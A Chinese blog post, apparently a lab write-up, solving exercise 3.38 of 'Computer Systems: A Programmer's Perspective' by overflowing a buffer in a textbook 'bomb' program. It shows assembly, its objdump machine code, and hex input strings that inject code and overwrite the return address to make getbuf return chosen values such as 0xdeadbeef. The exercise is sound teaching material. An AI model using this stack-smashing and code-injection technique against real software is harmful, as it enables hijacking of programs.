《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例(续3)

本博客(http://blog.csdn.net/livelylittlefish)贴出作者(三二一@小鱼)相关研究、学习内容所做的笔记,欢迎广大朋友指正!

   

《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例(续3)

 

 本文全文下载:http://download.csdn.net/source/1940333

 

1. 问题描述

 

http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087640.aspx

 

2. 目标分析与题解

 

http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087676.aspx

 

3. 验证

 

http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087690.aspx

 

4. 小结

 

本文主要以《深入理解计算机》3.38题为例,详细地介绍了该题目的解题过程,主要目的是利用程序缓冲区溢出以达到改变程序的输出(攻击程序)。

要解决这类题目,需要对过程调用的栈帧变化、指令的作用有较深入的了解。同时在使用GDB调试程序时,命令的使用也能对尽快找出问题提供帮助,本文只简单地使用了px等命令,其他的注入displaylayout命令更能帮助我们发现问题、解决问题。

另外,也需要对该类问题举一反三,从中可以观察到每个汇编指令的格式、功能及其使用方法,例如。

 

4.1 若希望输出为0x12345678呢?

 

输入指令的汇编代码及其机器码。

;file name: bomb.s

mov    $0x12345678, %eax

push   $0x401158

ret

$ objdump -d bomb.o

show.o:     file format pe-i386

Disassembly of section .text:

00000000 <.text>:

   0:   b8 78 56 34 12          mov    $0x12345678,%eax

   5:   68 58 11 40 00          push   $0x401158

   a:   c3                      ret

   b:   90                      nop

   c:   90                      nop

   d:   90                      nop

   e:   90                      nop

   f:   90                      nop

 

输入数据如下。

$ ./bomb.exe

Type Hex string:b8 78 56 34 12 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

getbuf returned 0x12345678

  

4.2 若希望输出为0xabc呢?

 

输入指令的汇编代码及其机器码。

;file name: bomb.s

mov    $0xabc, %eax

push   $0x401158

ret

$ objdump -d bomb.o

show.o:     file format pe-i386

Disassembly of section .text:

00000000 <.text>:

   0:   b8 bc 0a 00 00          mov    $0xabc,%eax

   5:   68 58 11 40 00          push   $0x401158

   a:   c3                      ret

   b:   90                      nop

   c:   90                      nop

   d:   90                      nop

   e:   90                      nop

   f:   90                      nop

 

输入数据如下。

$ ./bomb.exe

Type Hex string:b8 bc 0a 00 00 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

getbuf returned 0xabc

 

4.3 一些例子

 

以下是不同长度的输入输出示例,若希望其他的输出,读者可以自行试验。

Input:b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

 

Output:0xdeadbeef

Input:b8 78 56 34 12 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

 

Output:0x12345678

Input:b8 56 34 12 00 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

 

Output:0x123456

Input:b8 bc 0a 00 00 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

 

Output:0xabc

 

另外,也可以在Linux系统、windows系统中试验,以观察不同编译器、链接器的不同。

 

Reference

http://blog.csdn.net/lijingze2003/archive/2005/02/25/302275.aspx

http://bbs.pediy.com/showthread.php?threadid=38234

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值